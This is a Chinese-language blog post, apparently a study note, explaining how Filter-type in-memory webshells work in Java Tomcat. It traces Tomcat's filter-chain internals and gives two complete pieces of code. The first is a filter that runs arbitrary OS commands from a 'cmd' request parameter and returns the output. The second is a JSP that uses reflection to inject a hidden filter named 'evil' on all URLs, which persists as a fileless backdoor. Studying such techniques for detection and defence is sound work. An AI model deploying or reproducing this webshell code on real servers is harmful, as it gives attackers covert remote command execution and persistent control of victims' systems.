从零开始学习JavaFilter型内存马

前言

距离上次更新博客已经过去4天了,摸了几天🐟,今天来学习Filter型内存马。相信大家对内存马都不陌生,在渗透测试和hw行动中广为应用,内存马因其隐蔽性等优点从而越来越盛行。以前也只是在遇到某某Java环境不出网的时候,如何执行命令获得回显的问题中,从大哥们那里得知可以使用内存马。直到今天才来学习内存马的相关知识,属实惭愧🥵🥵🥵

前置知识

JavaWeb三大组件

Servlet

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。

Filter

概念: Filter也称之为过滤器,WEB 开发人员通过Filter技术可以对Web服务器管理的所有web资源:Jsp, Servlet, 静态图片文件或静态html文件等进行拦截,从而实现一些特殊的功能。

image-20220411210200326

Listener

listener是监听器,用于监听Web中常见的对象,例如HttpServletRequest、HttpSession、ServletContext,分别对应着

  1. 监听web对象创建与销毁
  2. 监听web对象的属性变化
  3. 监听session绑定javaBean操作

当被监听的对象变化时,负责监听的对象会执行一系列动作。

Tomcat和Servlet的关系

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

内存马主要分为

1、servlet-api类

  • filter型
  • servlet类型
  • listener型

触发顺序为Listener -> Filter -> Servlet

2、spring类

  • 拦截器
  • controller型

3、Java Instrumentation类

  • agent类

今天就学习一下filter型的内存马

正文

Filter在请求处理的关键位置,这个注册的Filter就变成了客户端访问和最终负责请求数据处理之间的必经之路,如果我们对Filter中的内容进行修改,就可以实现请求数据预处理。

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第二个filter,如果没有,则调用目标资源。

Filter的生命周期

生命周期示意图

Filter和Servlet一样,它的创建和销毁均由Web服务器负责。当Web应用程序启动时,Web服务器将会创建Filter的实例化对象,并且调用它的init()方法读取web.xml配置完成对象的初始化操作,Filter对象只会被创建一次,所以init()方法也就只会被执行一次。开发人员通过init()方法即可获得FilterConfig对象(filter配置信息)

init方法:

public void init(FilterConfig filterConfig) throws ServletException;   //初始化

dofilter方法:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;

这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。

public void destroy();  //销毁

相关Filter类

FilterDefs: 存放FilterDef的数组,其中存储着我们的filter名、filter实例等信息

FilterConfigs: 存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

image-20220411222458684

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

ApplicationFilterChain:调用过滤器链

ApplicationFilterConfig:获取过滤器

ApplicationFilterFactory:组装过滤器链

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

Demo

先来写一个TestFilter类,测试一下,然后需要在web.xml中配置一下。

package com.le1a.web.Filter;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class TestFilter implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

  <filter>
    <filter-name>cmd_Filters</filter-name>
    <filter-class>com.le1a.web.Filter.TestFilter</filter-class>
  </filter>

  <filter-mapping>
    <filter-name>cmd_Filters</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>


</web-app>

发现内存马是注入成功了的,并且是有回显的。

image-20220411221954371

Filter过滤链分析

img

Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML实例来解析web.xml

先来看在StandardWrapperValue中利用createFilterChain来创建filterChain

image-20220412090649138

跟进到createFilterChain方法

通过getParent()方法来获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps

image-20220413164340857

然后开始遍历FilterMaps。如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法

image-20220413165614036

可以看到此时已经装配第一个filter

image-20220413165844913

重复遍历直至将所有的filter全部装载到filterchain中,然后就会重新回到 StandardWrapperValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

image-20220413170336978

此时的filterchain为

image-20220413171208004

跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法

image-20220413171054381

跟进internalDoFilter方法

image-20220413171343102

发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法,从而触发了相应的代码。

总结

  1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的Filter名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
image-20220413172623235

可以看到最开始是从context中获取FilterMaps,将符合条件的Filter按照顺序进行调用。我们可以自己创建一个FilterMap放在FilterMaps的最前面,当请求的路径符合urlpattern的时候,就会去找到FilterName对应的FilterConfig并添加到FilterChain,最终被filterChain#internalDoFilter调用Filter的doFilter方法,触发MemShell。

Filter内存马注入

上面学习了Filter的流程分析,接下来学习一下如何注入内存马。实际环境中,我们不可能手动写一个Filter类并且在web.xml中配置。在createFilterChain方法里面生成过一个context即StandardContext类,就是一个web应用,要想办法获取这个context。

通过反射修改filterConfigsfilterDefsfilterMaps,将恶意构造的FilterNameurlpattern存放到FilterMaps中,从而注入内存马。

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "evil";
    //创建servletContext
    ServletContext servletContext = request.getSession().getServletContext();

    //反射创建applicationContext
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
	//反射创建standardContext
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
	//创建filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }

                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println("doFilter");
            }

            @Override
            public void destroy() {

            }

        };
        ////构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);

        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        //将filterConfig添加到filterConfigs中,即可完成注入
        filterConfigs.put(name,filterConfig);
        response.getWriter().write("successfully!");
    }
%>
image-20220414151734214

补充

哈哈哈哈哈,直接贴@ch1e师傅的截图吧

image-20220414161904526

参考

https://fmyyy.gitee.io/2021/11/21/java%20Filter%E5%86%85%E5%AD%98%E9%A9%AC/

https://www.cnblogs.com/bmjoker/p/15114884.html

https://www.cnblogs.com/yyhuni/p/shiroMemshell.html

https://ch1e.cn/2022/03/24/Filter/

http://wjlshare.com/archives/1529